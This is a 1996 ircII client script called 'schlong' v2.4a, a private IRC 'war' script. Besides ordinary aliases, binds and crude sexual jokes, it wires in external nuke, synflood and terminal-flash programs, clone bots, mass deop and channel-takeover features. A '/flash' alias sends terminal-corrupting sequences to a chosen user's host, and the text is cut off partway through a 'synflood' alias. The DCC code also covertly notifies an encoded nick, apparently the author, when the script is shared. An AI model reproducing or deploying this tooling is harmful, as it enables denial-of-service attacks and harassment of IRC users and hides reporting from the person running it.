################ schlong.irc by openface ##################### ################# version 2.4a ###################### ################## (O1/17/96 - O1/O5/96) ####################### ### disclaimer: # schlong is a hack of many different scripts put together to suit my # needs, and i have no intentions of spreading this file in any way. # beleive it or not, schlong is STILL private. although previous versions # have leaked (thanks to Vigo and his gay buds), you are not supposed to # have this script unless gotten from me. i am in no way responsible for # anything that happens to you if you run this script anyway. ### stuff: # schlong has been written and tested on a FreeBSD 2.1.0, UNIX V 4.0 # and Linux using ircii 2.8.2. if you have problems using it on a # different client, either switch clients or don't use this script. # although schlong will run with ircii-EPIC, i do not recommend doing so. # ive seen too many bus errors with EPIC. oh and please dont run schlong # with BitchX.. damn thats ugly. ### version babble # 2.4 - fixed a dumb bus error bug. some minor changes. # 2.2c - fixed /mass lk and added /schroll on/off to toggle the schroll. # 2.2b - argh! ok, fixed ^I to now be ^N. sorry # 2.2a - fixed ^H to be ^I and fixed the not being able to see kicks. # 2.2 - more bind support for console use. page up/down, F1-F10, etc # 2.1c - just fixed the /rejoin toggle. # 2.1a - removed bold in the xdcc plist, will now save xdcc descriptions, # and fixed the input_prompt when you /save. # 2.1 - finally got ircop detecting to work... and some other stuff # 2.0f - some bug, i forget. # 2.0 - fixed that exec away bug. thanx to Nardo. # 1.6 - fairly more stable than the 1.6 beta versions. ### big greets to the best fuckers on the ef: # oblio, [phOrn], numb-, rage3, LeGaSeE, cph|ber, tmw, JoneBlaze, ispy, [sin]. ##### NOTE: do not edit this script with an editor that wordwraps. ##### it will break the code. ## schlong has been highly biten, but like i said, you should ## not have this script in the first place. it is for ME only. ## credit goes to all the good ircii scripters out there. ### Begin the operation.. clear echo echo P"T""^ ^""Q$P"^^`'Q$P" ^ `^""Q$$$P"""^ ` ^ """Q$P"" ^""4$$P""^^^"'Q$P`""^^"7 echo : + ,p. T ,4t. '$` ! '" " : echo . .$P'` "t. .t, : "$$$$P" ! ,t. .t. ., .s$$P"' ^"Q. echo .4$7 $$l`4P"" ^ , '4$l ,4$$$P, .4$P"""^ + . "Q$L `"Q$7 $ echo 4$$Q $$$$D . + . $t. ". "7Q$$$$l "'` D$t. "$.="^Dt. ^"' echo "Q$$t. .sD7`.t : D$$L .ts,'4$P" :$$$l : % '4$$, echo "$$$t."""`,4$$ . .4$P` 4P"" .'4$$,` .4, ,$$$7` i :P` `Qt .t. echo '4$$$t. '4$$t. .ss$t. . D$$$ .4$$$t s$$7` s$$ $l .D ,4$$$$ echo d$ $D$$$$. 'Q$$t. $$$P . + ,$$$$l $t.^"Q$$$P",7` l$$l i ,4$$$ 'D echo $ $$$$$$$l D$$$t. D$7` .4$$$P` "Q$$s.'4$ " .4$$$Q "4$$$$ $ echo 4, ,s$$$$$7` ,$$$$$$s4P"^ .$ "'"""` .4l "^"`.4l "7Q$$$t. . '4$ .4P echo '^"Qqs%4P' """"tP' .4$$$ ,s$$P"' ^ " "Q$1 '4$P"^ ^"Qqs%4P"^` echo . "tQ$P" ^ spinsane[hn/ash] . echo : : echo b .. big ole black frickin flik flak by openface .. .d echo 7m,. . .. all praise and worship to Bored of Reason .. . .,mP echo if (V < 19950126) {qecho Lame IRC version detected.. some features may not werk} ### variable assigns assign idletime 10 assign autochannels ALL assign ftp_pgm ncftp assign flash_pgm /home/plasmoid/irc/schlong/flash assign mflash_pgm mflash assign nuke_pgm nuke assign synflud_pgm synflood assign echok_pgm echok assign kickflash off assign cloak off assign set.wall N assign msg.box off assign rvg off assign bandef Screw assign set.dfbt s assign floodp on assign cprot on assign keyprot off assign prot off assign schroll on assign hlings off assign nhp off assign rejoin on assign ctcpauto on assign autorename on assign delaycmd off assign idlecmd off assign begcmd off assign autoop on assign leechkick off assign autoget off assign autosend on assign autoclose off assign security off assign overwrite off assign verjtog off assign autoww off assign shstats on assign chrate off assign checkops off assign voicedcc off assign joingreet off assign chgets on assign pkrate 8000 assign awayshit eaten assign takeover * assign cloneuname none assign cloneport 6667 assign clonewindow off assign wname *UNKNOWN* assign wuserid schlink @ msgsensor = 10 @ noticesensor = 20 @ ctcpsensor = 3 @ nicksensor = 5 @ msensor = 3 @ ksensor = 3 @ dcclimit = 12 @ resetcount = 16 @ ig_count = 2 @ TMPCONT = 0 @ DCCMINSPEED = 0 @ lagsecs = 7 @ misc.escape = [] @ fsplituser = [schlong] @ fsplitserv = [*.sdsc.edu] @ totaj = [0] @ totrl = [0] @ totns = [0] @ clport = [6667] @ offline = [YES] @ CHKOL = [off] @ TNICKS = [0] @ tkills = [0] @ m.fld2 = [TROUT] @ m.fld1 = [HALIBUT] @ m.fld = [VERSION] @ m.fld3 = [PING] @ num.mlist = 0 @ mcount = 0 @ killadd = 0 @ kcount = 0 @ dccsent = 0 @ nickcnt = 0 @ away_messages = 0 @ msgmax = 12 @ mysend = [NO] @ friendadd = 0 @ vqc = 0 @ qslots = 20 @ vcount = 0 @ privadd = 0 @ enemyadd = 0 @ commentadd = 0 @ getcount = 0 @ totpack = 0 @ issplit = [NO] @ split.serv = [] @ ll.serv = [irc.voicenet.com] @ ll.port = [6667] @ ll.nick = [schlink] @ ll.info = [(schlong)] @ ll.user = [schlink] @ ll.time = [10] @ f1 = [/shelp] @ f2 = [/gone] @ f3 = [/back] @ f4 = [/xdcc plist] @ f5 = [/w] @ f6 = [/ws] @ f7 = [/status] @ f8 = [/schlong] EVAL @ flood_ok = [$help_service] ## schlong dirs EVAL @ schlongfile = [$HOME/.schlong] EVAL @ schlongbak = [$HOME/.schlong.bak] EVAL @ UPLOADDIR = [$W] EVAL @ DOWNLOADDIR = [$W] EVAL @ AWAYFLE = [$schlongfile\.away] EVAL @ OFFERFILE = [$schlongfile\.xdcc] EVAL ^set logfile $W/irc.log ^timer 8 EVAL ^Userhost $N -CMD if ([$4]) {^assign HOSTROOT $left($index(. $4) $4)} if ([$tmeon]==[]) { assign tmeon 0 } ### string defaults assign exx [#!#] assign lxx [%linklooker%] assign txx [%telbox%] assign cbxx [%clonebots%] assign gbxx [%guardbot%] assign ver.ver 2.2c assign sch (%sCh%) assign schlong.ver (%schlong%) v2.4a assign pingmsg Poiing! assign mbkmsg Don't want you here... assign floodmsg yOu go floOdboy! assign pk Don't want you here assign rkickmsg random%kick assign backmsg (%bATTLe-sWiFT%) assign wordkmsg word%kick assign bombmsg Sorry, not today.. prick! assign abkickmsg fUCKyA! assign channel.floodmsg floOding..bah! assign nick.floodmsg nickfloOd..bah! assign uban.kickmsg ..bah! assign ikey.kickmsg ..bah! assign igtypes MSGS CTCP NOTICES INVITES NOTES PUBLIC assign defumes yam%gawn assign signmsg (%bATTLe-sWiFT%) assign shutmsg shutup%kick assign idlemes idle%away assign usermode +iw assign false_chars ** ** ** ** ** *;* ** ** *$$* ** ** assign bogus_patterns *fuck* *shit* *suck* *dick* *penis* *cunt* *haha* *fake* *split* *ass* *hehe* *bogus* *yawn* *leet* assign gender his assign notepad note.txt assign tssavefile .vthasrc assign awaystat on assign isaway NO assign logirc off assign showstuff on assign mesbeep on @ areply = left(4 $N) ## random showers EVAL @ schlong[0] = [is using his $schlong.ver\ by openface?] EVAL @ schlong[1] = [is chokin the $schlong.ver\ by openface?] EVAL @ schlong[2] = [is gettin spicy wit $schlong.ver\ by openface?] EVAL @ schlong[3] = [is throbbing with $schlong.ver\ by openface?] EVAL @ schlong[4] = [beats yer maw ass with $schlong.ver\ by openface?] EVAL @ schlong[5] = [dont touch the $schlong.ver\ by openface?] EVAL @ schlong[6] = [has greezy forehead cuz of his $schlong.ver\ by openface?] EVAL @ schlong[7] = [is a bitz wit a $schlong.ver\ by openface?] EVAL @ schlong[8] = [is stroking his $schlong.ver\ by openface?] EVAL @ schlong[9] = [is fuqin yer head with $schlong.ver\ by openface?] EVAL @ schlong[10] = [sprays milk from his $schlong.ver\ by openface?] EVAL @ schlong[11] = [is sponsored by $schlong.ver\ by openface?] EVAL @ schlong[12] = [is fuqin shit up with his $schlong.ver\ by openface?] EVAL @ schlong[13] = [was blessed with $schlong.ver\ by openface?] EVAL @ schlong[14] = [is packin tha $schlong.ver\ by openface?] @ max_schlong = 15 on ^dcc_raw * {} ^eval set status_format %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%M%F %W %> %U EVAL ^assign OLD_STATUS $STATUS_FORMAT alias runq { ^assign numqr 60 } ^assign quoat1 harvest their return...carry my soul to the sun ^assign quoat2 why do they call me Mr. Happy? ^assign quoat3 be wrong...be strong ^assign quoat3 only sheep need a leader ^assign quoat4 small scares etch permanence...dimming your light ^assign quoat5 numbness escapes...willing to face the pain ^assign quoat6 your rebirth demands a part of you dead ^assign quoat7 you leave more cancers than you have yourself ^assign quoat8 the suicide of drought for a faith destroyed ^assign quoat9 the blind will lead the walk ^assign quoat10 down with people ^assign quoat11 who fucked who? ^assign quoat12 baldwang must die ^assign quoat13 0+2=1 ^assign quoat14 small parts isolated and destroyed ^assign quoat15 bored of reason ^assign quoat16 never listen to what Slayde says ^assign quoat17 its catching up ^assign quoat18 end of all things ^assign quoat19 kill everyone now ^assign quoat20 enemy of the sun ^assign quoat21 hail to the lies in which all thruths are hounded ^assign quoat22 i see red ^assign quoat23 oops! ..wrong stereotype ^assign quoat24 make music...not garbage ^assign quoat25 your music sucks ^assign quoat26 nothing is everything ^assign quoat27 i am wrong ^assign quoat28 you kill me ^assign quoat29 dont play dumb...youre human ^assign quoat30 the works and the days...each squeezing out another ^assign quoat31 what a weary way we wend ^assign quoat32 repeat the refrain...trying hard to explain ^assign quoat33 no means no ^assign quoat34 ive seen more than i can stand ^assign quoat35 stop singing that same old song ^assign quoat36 theres new life for us to eat ^assign quoat37 a straining beast is at the end of its rope ^assign quoat38 it is the art of tearing it apart ^assign quoat39 when putting it all in order isnt enough ^assign quoat40 the miracle of sound in motion ^assign quoat41 dim the lights...chill the ham ^assign quoat42 grafted to an elbow ^assign quoat43 i will not stray ^assign quoat44 to crawl under ones skin ^assign quoat45 a chronology for survival ^assign quoat46 please rip them from my body ^assign quoat47 run from me back to the secure ^assign quoat48 wash this sickness from my mind ^assign quoat49 rise. run. feed. ripen. wound. wither. fall. rise again ^assign quoat50 no right to my own real ^assign quoat51 youll know the way ^assign quoat52 youll drown for our mothers disgrace ^assign quoat53 the hole in your soul marks the ruins ^assign quoat54 internal shame spirals you down ^assign quoat55 it is our day...our moment ^assign quoat56 schlong: most stupid compiled hunka junk around ^assign quoat57 schlong is tha biggest rip eva.. until my script ^assign quoat58 i love this script.. it r0x0rs muh fro ^assign quoat59 <[-AcidX-]> HAHA, you name a script about your penis? sad. sad. ^assign quoat60
  • schlong is elite.. your script lies. ^assign quoat61 i just like the look and feel of schlong. ### sets set suppress_server_motd on set novice off set exec_protection off set hide_private_channels off set translation latin_1 set AUTO_WHOWAS off set AUTO_UNMARK_AWAY off set BEEP on set BEEP_MAX 2 set BEEP_on_MSG NonE set BEEP_WHEN_AWAY off set BOLD_VIDEO on set CHANNEL_NAME_WIDTH 15 set CLOCK on set CLOCK_24HOUR off set COMMAND_MODE off set CONTINUED_LINE set DCC_BLOCK_SIZE 4096 set DISPLAY on set FLOOD_WARNING off set FULL_STATUS_LINE on set HELP_WINDOW off set HIDE_PRIVATE_CHANNELS off set HIGHLIGHT_CHAR BOLD set HISTORY 30 set HOLD_MODE off set INDENT on set INPUT_PROTECTION on set INSERT_MODE on set INVERSE_VIDEO on set LASTLOG 100 set LASTLOG_LEVEL ALL DCC set LOG off EVAL ^if ([$MAIL]==[0]) {^set mail 1} set MAX_RECURSIONS 200 set NO_CTCP_FLOOD on set NOTIFY_ON_TERMINATION off set SCROLL on set SEND_IGNORE_MSG off set SHOW_AWAY_ONCE on set SHOW_CHANNEL_NAMES on set SHOW_END_OF_MSGS off set SHOW_NUMERICS off set SHOW_STATUS_ALL on set SHOW_WHO_HOPCOUNT on set STATUS_AWAY [away] set STATUS_CHANNEL %C set STATUS_CHANOP @ set STATUS_CLOCK [schlong?] %T set STATUS_HOLD ** MORE ** set STATUS_MODE (+%+) set STATUS_MAIL (mail:%M) set STATUS_NOTIFY A:%F set STATUS_OVERWRITE (overwrite) set STATUS_QUERY Q:%Q set STATUS_UMODE (+%#) set STATUS_USER [schlong?] set STATUS_WINDOW ^ set SUPPRESS_SERVER_MOTD on set TAB on set TAB_MAX 2 set UNDERLINE_VIDEO on set USER_WALLOPS off set VERBOSE_CTCP off set WARN_OF_IGNORES on ### binds bind meta1-[ meta2 bind meta1-O meta2 bind meta2-A backward_history bind meta2-B forward_history bind meta2-C forward_character bind meta2-D backward_character bind meta2-5 Parse_Command ^s_up bind meta2-6 Parse_Command ^s_dn bind meta2-4 Parse_Command ^s_end bind ^R scroll_end bind ^E scroll_backward bind ^D scroll_forward bind meta2-[ meta3 bind meta2-1 meta3 bind meta3-A parse_command dofkey 1 bind meta3-B parse_command dofkey 2 bind meta3-C parse_command dofkey 3 bind meta3-D parse_command dofkey 4 bind meta3-E parse_command dofkey 5 bind meta3-7 parse_command dofkey 6 bind meta3-8 parse_command dofkey 7 bind meta3-9 parse_command dofkey 8 bind ^B self_insert bind ^_ self_insert bind ^V self_insert bind ^Z stop_irc bind ^X switch_channels bind ^O parse_command /ig $, bind ^I parse_command ^getmsg 1 $msglist bind ^N parse_command /floodwall bind ^F parse_command //flush bind ^Y parse_command /holdset bind ^P parse_command /xdcc plist bind ^A parse_command //^type ${arl} - bind ^T parse_command /gosplit bind ^K parse_command /ji alias s_up {^bind ~ nothing;^type ;^timer 1 ^bind ~ self_insert} alias s_dn {^bind ~ nothing;^type ;^timer 1 ^bind ~ self_insert} alias s_end {^bind ~ nothing;^type ;^timer 1 ^bind ~ self_insert} ## default bot servers. alias setclonedef { @ CSERV[0] = [irc.frontiernet.net] @ CSERV[1] = [irc.stealth.net] @ CSERV[2] = [irc.colorado.edu] @ CSERV[3] = [irc.ionet.net] @ CSERV[4] = [irc.mo.net] @ CSERV[5] = [irc-2.stealth.net] @ CSERV[6] = [organ.ctr.columbia.edu] @ CSERV[7] = [irc.law.emory.edu] @ CSERV[8] = [irc-2.mit.edu] @ CSERV[9] = [irc.portal.com] @ CSERV[10] = [irc.neosoft.com] @ CSERV[11] = [irc.kern.com] @ CSERV[12] = [irc.cerf.net] @ CSERV[13] = [irc.ecn.uoknor.edu] @ CSERV[14] = [irc-2.texas.net] @ CSERV[15] = [speech.elec.uow.edu.au] @ CSERV[16] = [irc.primenet.com] @ CSERV[17] = [irc.cnde.iastate.edu] @ CSERV[18] = [irc.ilstu.edu] @ CSERV[19] = [irc.tamu.edu] @ CSERV[20] = [irc.cuo.net] @ CSERV[21] = [irc.cs.rpi.edu] @ CSERVMAX = 22 } alias dofkey { if ([$0]==[1]) { eval $f1 } if ([$0]==[2]) { eval $f2 } if ([$0]==[3]) { eval $f3 } if ([$0]==[4]) { eval $f4 } if ([$0]==[5]) { eval $f5 } if ([$0]==[6]) { ^bind ~ nothing eval $f6 timer 1 ^bind ~ self_insert } if ([$0]==[7]) { ^bind ~ nothing eval $f7 timer 1 ^bind ~ self_insert } if ([$0]==[8]) { ^bind ~ nothing eval $f8 timer 1 ^bind ~ self_insert }} ### minor aliases alias ww whowas alias sc names $C alias wi { ^fix.whois whois $0 } alias bans sb alias wii { ^fix.whois whois $0 $0 } alias chops w -chops alias re redirect alias c mode $C $0- alias rk randomk alias lj cycle alias protlist protect alias genhelp userhelp alias war warhelp alias fake fakehelp alias xdcc xdcchelp alias misc mischelp alias unix unixhelp alias sensor settings alias relm dirlm alias reln dirln alias pubdo re $C alias servops nhp alias krad say1 alias sv schlong alias shower schlong alias md mass d alias rn ^eval nick $randnick() alias clm dirlm clear alias cln dirln clear alias cbstat clonebots status alias findlag clag alias ji //join $decode($inv_chan) alias dc /dcc chat alias trout /ctcp $0 trout alias halibut /ctcp $0 halibut alias dcg //dcc close get alias dcs //dcc close send alias dcx //dcc close chat alias ex exec /alias s { if ([$0]) { if ([$1]) { msg $0 xdcc send #$1 }{ msg $0 xdcc list }}{ /secho Usage: /S <nick> or /S <nick> <pack#> }} alias quit { /secho Time wasted: $tmeon\ minutes.. if ([$0]) { signoff $0- }{ runq @ q1 = [$rand($numqr)] ^assign quate $(quoat$q1) signoff $quate }} alias m msg alias n notice alias mm msg $0 [To: $0] $1- alias unignore noig alias avar {^assign $0 $1-} alias umode mode $N alias nnotice quote NOTICE $0 :$1- alias mmsg quote PRIVMSG $0 :$1- alias kkick quote KICK $0 $1 :$2- alias mmode quote MODE $0- alias mc quote MODE $C -lsnmpitk $chankey alias nokey quote MODE $C -k $chankey alias sec_check if (rmatch($0 $SECLIST)) {@ FUNCTION_RETURN = [YES]}{@ FUNCTION_RETURN = [NO]} alias isnum if (rmatch($0 *0* *1* *2* *3* *4* *5* *6* *7* *8* *9*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0} alias isalpha if (rmatch($0 *a* *b* *c* *d* *e* *f* *g* *h* *i* *j* *k* *l* *m* *n* *o* *p* *q* *r* *t* *u* *v* *w* *x* *y* *z*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0} alias _checkkey if (!rmatch($M *k*)) {^set status_mode (+%+)}{^timer 15 _checkkey} alias wl wholeft alias i inv $, alias bkick bk alias deop dop alias dop ndop $C $0- alias getig {@ FUNCTION_RETURN = ig_count * 60} alias submode if (mcount>0) {@ mcount = mcount - 1} alias subkick if (kcount>0) {@ kcount = kcount - 1} alias chanpass if ((match($strip(# $0) $AutoChannels))||([$AutoChannels]==[ALL])) {^assign FUNCTION_RETURN YES} alias _delayop if (isop($decode($1) $0)==0) {/mmode $0 +o $decode($1)} alias enickonly {^assign FUNCTION_RETURN $encode($left($index(! $0) $0))} alias userdomain @ function_return = LEFT($INDEX(@ $0) $0)##[@]##MID(${1+INDEX(. $0)} 99 $0) alias hostonly @ function_return = mid(${index(@ $0)+1} 99 $0) alias newdate @ function_return = mid(4 12 $stime($0)) ^on ^window "*dgets timed out*" # ^on ^window "*dgets tiomed out*" # ^on ^window "% \*\*\* *" { if ([$1]==[***]) { qecho $2- }{ echo $1- }} alias yecho { echo :::: $0- } alias qecho { echo *** $0- } alias secho { ^xecho -level crap $exx\ $0- ^assign lastv $exx\ $0- } alias lecho { ^xecho -level crap $exx\ $lxx\ $0- ^assign lastv $lxx\ $0- } alias mecho ^xecho -window Messages $* alias techo { xecho -level crap $exx\ $txx\ $0- ^assign lastv $txx\ $0- } alias cbecho { xecho -level crap $exx\ $cbxx\ $0- ^assign lastv $cbxx\ $0- } alias gbecho { xecho -level crap $exx\ $cbxx\ $0- ^assign lastv $txx\ $0- } alias chat { /dcc chat $0 } alias nochat { /dcc close chat $0 } alias pubact if (isop($N $1)) {/kkick $1 $0 $channel.floodmsg} alias serv {/if ([$0]) {//server $0-}{/if ([$_server]!=[]) {//server $_server}{//server 1}}} alias pubecho if ([$1]==[$C]) {/echo \($0)\ $2-}{/echo \($0:$1)\ $2-} alias safe {^assign FUNCTION_RETURN $strip(\;\(\)*/\\\{\}$$~`|'\" $0-)} alias msafe {^assign FUNCTION_RETURN $strip(\;$$ $0-)} alias j if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[0])||([-]==[$[1]0])) {//join $0-} {//join #$0-} alias l if (![$0]) {//leave $C}{/if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}} alias ap { ^set STATUS_USER [lag (?)] quote PING $time() $S } alias tref { ^timer -delete $0 ^timer -refnum $0- } alias holdset { ^set HOLD_MODE TOGGLE secho Screen pausing mode is now $HOLD_MODE\. } alias cwait { wait -CMD # wait -CMD $0- } alias purge { foreach $0 ii {/purge $0.$ii} ^assign -ii ^assign -$0 } alias sb {^fix.bans} alias fix.bans { ^on ^367 "*" { if ([$4]) {/yecho $[10]1 $2 by $[16]3 at $newdate($4)} {/secho $1-}} if ([$0]) {//mode #$strip(# $0) +b} {//mode $C +b} cwait ^on 367 - "*" } ^fix.bans alias w if ([$0]) { if ([$0]==[-chops]) {//who $0 $C $1-} {//who -h $0-}} {//who $C} alias etopic { if ([$estatus]==[on]) { ^assign estatus off secho Topic enforcer is now off. ^on -topic "% $etchannel *" {} ^assign etchannel 0 ^assign etopic (%S%) bored of reason (%S%) }{ ^assign estatus on ^assign etopic $0- ^assign etchannel $C ^assign mynick $N secho Topic enforcer is now on. secho Enforcing topic "$etopic\" in channel $etchannel\. /topic $etchannel $etopic ^on -topic "% $etchannel *" { if ([$0]==[$mynick]) {}{ /topic $etchannel $etopic }}}} alias t { if ([$0]==[#*]) {//topic $0-} {//topic $C $0-}} alias inv { if ([$0]) { if ([$1]) {//invite $0-} {//invite $0 $C}} {/secho You need to specify a nick to invite.}} alias pubcat { if ([$0]) {//^exec -notice $C cat $0} {/secho Usage: /PUBCAT <filename>. Displays a file to channel.}} alias ver { if ([$0]) {/ctcp $0 VERSION} {/ctcp $C VERSION}} alias p { if ([$0]) {//ping $0}{//ping $C}} alias op { mmode $C +ooo $0 $1 $2 if ([$3]) {/op $3-}} alias ndop { mmode $0 -oo $1 $2 if ([$3]) {/ndop $0 $3-}} alias ftm { if ([$left(1 $0)]==[0]) {@ timestr = [$mid(1 4 $0)]}{@ timestr = [$left(5 $0)]} @ timestr = [$timestr $tolower($right(2 $0))] @ FUNCTION_RETURN = [$timestr] } alias gosplit { if ([$issplit]==[NO]) {secho No splits recorded.}{ if ([$left(1 $split.serv)]==[*]) { secho Error connecting to $split.serv secho Invalid servername }{ secho Attempting connection to $split.serv\.. /net $split.serv }}} ### toggles alias schroll { if (match($0 on off)) {/up_it schroll $0} secho Neato yet sometimes annoying jumping status logo is now $schroll\. if ([$0]==[on]) {^goschroll} if ([$0]==[off]) {^set status_clock [schlong?] %T} } alias autoww { if (match($0 on off)) {/up_it autoww $0} secho Automatic whowas on nick collision is $autoww\. } alias verjoin { if (match($0 on off)) {/up_it verjtog $0} secho Version users on join is currently $verjtog\. } alias showstat { if (match($0 on off)) {/up_it shstats $0} secho Show channel stats on join is currently $shstats\. } alias voicedcc { if (match($0 on off)) {/up_it voicedcc $0} secho Auto-voice dcc'ers on join is $voicedcc\. } alias checkops { if (match($0 on off)) {/up_it checkops $0} secho Auto-detecting ircOPs on join is $checkops\. } alias greet { if (match($0 on off)) {/up_it joingreet $0} secho Auto-greet users on join is $joingreet\. } alias revenge { if (match($0 on off)) {/up_it rvg $0} secho Revenge mode is currently $rvg\. } alias msgbox { if (match($0 on off)) {/up_it msg.box $0} secho Message window is now $msg.box\. if ([$0]==[on] && (!miws)) {^TurnMSGBoxON} if ([$0]==[off] && (miws)) {^TurnMSGBoxOff} } alias kickflash { if (match($0 on off)) {/up_it kickflash $0} secho Flashing if you get kicked from a channel is $kickflash\. } alias cloak { if (match($0 on off)) {/up_it cloak $0} secho CTCP cloaking is currently $cloak\. if ([$cloak]==[on]) {^cloakvp} if ([$cloak]==[off]) { ^origver ^origping } } alias cloakvp { ^on ^raw_irc "*!* PRIVMSG % :VERSION" # ^on ^raw_irc "*!* PRIVMSG % :PING *" # ^on ^raw_irc "*!* PRIVMSG % :PING" # } alias fbn { if (match($0 on off)) {/up_it fbn $0} secho Automatic floodbot nick changing is currently $fbn\. } alias showstuff { if (match($0 on off)) {/up_it showstuff $0} secho Showing of channel joins, parts, and signoffs is currently $showstuff\. } alias up_it {^assign $0 $tolower($1)} ### UNIX commands alias wc exec wc alias quota exec quota -v alias du exec du -s $HOME alias ps exec ps -x alias kp exec kill -9 alias cal exec cal alias ls2 exec ls -FC alias ls3 exec ls -aFCs alias ls exec ls -la alias nsl {if ([$0]==[-r]) {exec -o nslookup $1-}{exec nslookup $*}} alias uname {if ([$0]==[-r]) {exec -o uname -a}{exec uname -a}} alias uptime {if ([$0]==[-r]) {exec -o uptime}{exec uptime}} alias rm exec rm alias mv exec mv alias cp exec cp -r alias mkdir exec mkdir alias chmod exec chmod alias find exec find $HOME -name $0 -print alias sort exec sort alias gzip exec gzip alias gunzip exec gzip -dr alias mail exec mail $0 < $1 alias cat exec cat $0 ## antiidle by me alias antiidle { secho Currently, antiidle is $idlecmd\. ^assign idlecmd $"[%S%] Turn antiidle : " if ([$idlecmd]==[on]) { ^assign idlestr $"[%S%] Enter antiidle string: " if ([$idlestr]) { @ idletime = 600 secho Antiidle is now $idlecmd\. secho You will send antiidle string every 10 minutes. eval ^timer $idletime quote PRIVMSG $N IDLEEXECUTE }}{ if ([$idlecmd]==[off]) { /eval ^assign -idletime /eval ^assign -idlestr /eval ^assign idlecmd off secho Antiidle is now off. }} } on ^raw_irc "% PRIVMSG % *IDLEEXECUTE*" if ([$idlecmd]==[on]) { secho Anti-idleing... //say $idlestr eval ^timer $idletime quote PRIVMSG $N IDLEEXECUTE } alias tfr { secho Timed file requesting is currently $begcmd\. ^assign begcmd $"[%S%] Turn timed file requesting : " if ([$begcmd]==[on]) { ^assign begprog $"[%S%] Program you are requesting: " if ([$begprog]) { @ begtime = 300 secho Timed file requesting is now $begcmd\. secho You will beg for this file every 5 minutes. eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE }}{ if ([$begcmd]==[off]) { /eval ^assign -begtime /eval ^assign -begprog /eval ^assign begcmd off secho Timed file requesting is now off. }} } on ^raw_irc "% PRIVMSG % *BEGEXECUTE*" if ([$begcmd]==[on]) { secho Requesting... //say im looking fer $begprog .. plz lemme know if you have it. eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE } alias dcc { if ([$0]) { if ([$0]==[send]) { if ([$2]) { @ dsendnick = [$1] @ dsendfile = [$2] @ dccshit = [$0-] ^on ^exec "dcschk *" { ^dosize $1- } ^on ^exec_error "dcschk *" # ^exec -NAME dcschk ls -ld $dsendfile wait %dcschk //dcc $dccshit if ((rmatch($2 *schlong*))&&([$of_flag]==[yes])) { nnotice $decode(GPHAGFGOGGGBGDGF) Sending $2 to $1 } }{ @ dssize = 0 @ tmpns = [] @ tmpfs = [] ^assign tmpns $"[%S%] Nick: " if ([$tmpns]!=[]) { ^assign tmpfs $"[%S%] Files to send: " if ([$tmpfs]!=[]) { if ([$dckfile($tmpfs)]==[found]) { secho Sending $tmpns\ a total of $tfiles\ files.. while (dssize < tfiles) { @ dssize = dssize + 1 ^dcc send $tmpns $dfile[$dssize] }}}}}}{ if ([$0]==[close]) { if ([$2]) { //dcc $0- }{ @ tmpclose = [] @ closedtot = 0 ^assign tmpclose $"[%S%] DCC mask to close: " if ([$tmpclose]!=[]) { ^on ^window "*" { if (match($tmpclose $1-)) { //dcc close $1 $2 @ closedtot = closedtot + 1 }} //dcc list cwait if (closedtot > 0) { secho Closed $closedtot\ DCC's .. } ^on window - "*" }}}{ if ([$0]==[list]) { //dcc list }{ //dcc $0- }}}}{ //dcc list }} alias dosize { if ([$8]) { @ dgsize[$encode($8)][$encode($dsendnick)] = [$4] }{ @ dgsize[$encode($8)][$encode($dsendnick)] = [$3] }} alias dga { @ gotdccs = [0] ^on ^window "*" { if ([$1]==[GET]&&[$3]==[Offered]) { //^dcc get $2 $6 @ gotdccs = gotdccs + 1 }} //dcc list cwait if ([$gotdccs] > [0]) { secho DCC: Getting $gotdccs\ file(s).. } ^on -window - "*" } alias dca { @ tctrl = [-1] ^on ^window "*" { //^dcc close $1 $2 @ tctrl = tctrl + 1 } //dcc list cwait if ([$tctrl] > [0]) { secho Closed $tctrl\ DCC's.. } ^on -window - "*" } alias dckfile { if ([$0]) { @ wordchk = [$0-] @ tfiles = 0 @ tmpchek = 0 @ filecheck = 1 ^on -exec_error "checkdir* *" { if ([$quiet]!=[ON]) { secho Error finding file: $1- } @ quiet = [off] @ filecheck = 0 } ^on ^exec "checkdir* *" { ^runfile $1- } while ([$word($tmpchek $wordchk)] != []) { @ filechk = [$word($tmpchek $wordchk)] if ([$[1]filechk]!=[/]) { @ filechk = [$uploaddir/$filechk] } ^exec -NAME checkdir ls -ld $filechk ^wait %checkdir @ tmpchek = tmpchek + 1 }} if ([$filecheck]==[0]) { @ function_return = [notfound] }{ @ function_return = [found] }} alias runfile { if ([$[1]0]==[-]) { @ tfiles = tfiles + 1 if ([$8]) { @ dfile[$tfiles] = [$8] @ flen[$tfiles] = [$4] }{ @ dfile[$tfiles] = [$7] @ flen[$tfiles] = [$3] }}} alias isop { if (([$1] == [$C])&&([$0] == [$N])) { if ([$P] == [@]) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}} {/EVAL @ FUNCTION_RETURN = $ischanop($0 $1)}} alias unflash { ^set status_user c ^set status_user 0\;\24r ^set status_user 0m ^set status_user ?5l ^set status_user [schlong?] ^set status_clock c ^set status_clock 0\;\24r ^set status_clock 0m ^set status_clock ?5l ^set status_clock 666 timer 3 ^goschroll eval echo $exx PRESS CTRL-L TO FIX. } alias goschroll if ([$schroll]==[on]) { ^set status_clock [Schlong?] %T ^timer 2 ^set status_clock [sChlong?] %T ^timer 4 ^set status_clock [scHlong?] %T ^timer 6 ^set status_clock [schLong?] %T ^timer 8 ^set status_clock [schlOng?] %T ^timer 10 ^set status_clock [schloNg?] %T ^timer 12 ^set status_clock [schlonG?] %T ^timer 14 ^set status_clock [schloNg?] %T ^timer 16 ^set status_clock [schlOng?] %T ^timer 18 ^set status_clock [schLong?] %T ^timer 20 ^set status_clock [scHlong?] %T ^timer 22 ^set status_clock [sChlong?] %T ^timer 24 ^goschroll } alias flash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { secho $flash_pgm ^exec $flash_pgm $strip(#;~ $3)@$4 & ^exec $flash_pgm $strip(#;~ $3)@$4 & secho %terminal flash% sent to $0 \($strip(#;~ $3)@$4\) } {/secho $0 not found.} } } {/secho Usage: /FLASH <nick>. Sends a vt100 terminal flash.} } alias synflood { ^assign srchost $1 ^assign synport $2 ^assign synnum $3 if ([$0]) { 